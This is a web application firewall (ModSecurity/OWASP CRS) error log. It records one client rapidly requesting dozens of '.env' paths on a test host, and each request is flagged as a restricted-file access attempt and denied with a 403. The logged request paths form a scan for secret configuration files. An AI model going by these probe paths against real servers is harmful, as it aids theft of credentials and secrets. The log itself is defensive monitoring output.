[Wed Feb 25 06:05:33.014787 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY1gAAAAc&quot;]
[Wed Feb 25 06:05:33.059878 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /saas/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibSgAAAAA&quot;]
[Wed Feb 25 06:05:33.060106 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibSgAAAAA&quot;]
[Wed Feb 25 06:05:33.060269 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibSgAAAAA&quot;]
[Wed Feb 25 06:05:33.087630 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/character-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY1wAAAAc&quot;]
[Wed Feb 25 06:05:33.087858 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY1wAAAAc&quot;]
[Wed Feb 25 06:05:33.088017 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY1wAAAAc&quot;]
[Wed Feb 25 06:05:33.100112 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /samples/chatroom/chatroom-spa/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibSwAAAAA&quot;]
[Wed Feb 25 06:05:33.100330 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibSwAAAAA&quot;]
[Wed Feb 25 06:05:33.100487 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibSwAAAAA&quot;]
[Wed Feb 25 06:05:33.160430 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /samples/docker/deploymentscripts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibTAAAAAA&quot;]
[Wed Feb 25 06:05:33.160671 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibTAAAAAA&quot;]
[Wed Feb 25 06:05:33.160864 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibTAAAAAA&quot;]
[Wed Feb 25 06:05:33.196239 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/client/mobile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY2AAAAAc&quot;]
[Wed Feb 25 06:05:33.196476 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY2AAAAAc&quot;]
[Wed Feb 25 06:05:33.196648 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY2AAAAAc&quot;]
[Wed Feb 25 06:05:33.250841 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/core/tests/dotenv-files/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY2QAAAAc&quot;]
[Wed Feb 25 06:05:33.251086 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY2QAAAAc&quot;]
[Wed Feb 25 06:05:33.251259 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY2QAAAAc&quot;]
[Wed Feb 25 06:05:33.255199 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /script/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibTgAAAAA&quot;]
[Wed Feb 25 06:05:33.255454 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibTgAAAAA&quot;]
[Wed Feb 25 06:05:33.255613 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibTgAAAAA&quot;]
[Wed Feb 25 06:05:33.320828 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/gameprovider-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY2gAAAAc&quot;]
[Wed Feb 25 06:05:33.321089 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY2gAAAAc&quot;]
[Wed Feb 25 06:05:33.321272 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY2gAAAAc&quot;]
[Wed Feb 25 06:05:33.322584 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibTwAAAAA&quot;]
[Wed Feb 25 06:05:33.322870 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibTwAAAAA&quot;]
[Wed Feb 25 06:05:33.323051 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibTwAAAAA&quot;]
[Wed Feb 25 06:05:33.346777 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /scripts/fvt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibUAAAAAA&quot;]
[Wed Feb 25 06:05:33.347007 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibUAAAAAA&quot;]
[Wed Feb 25 06:05:33.347178 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aZ6DHWXxsr5IXP-ltRibUAAAAAA&quot;]
[Wed Feb 25 06:05:33.368093 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/main/front-end/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aZ6DHYv6AM5Bs3q_JQDY2wAAAAc&quot;]
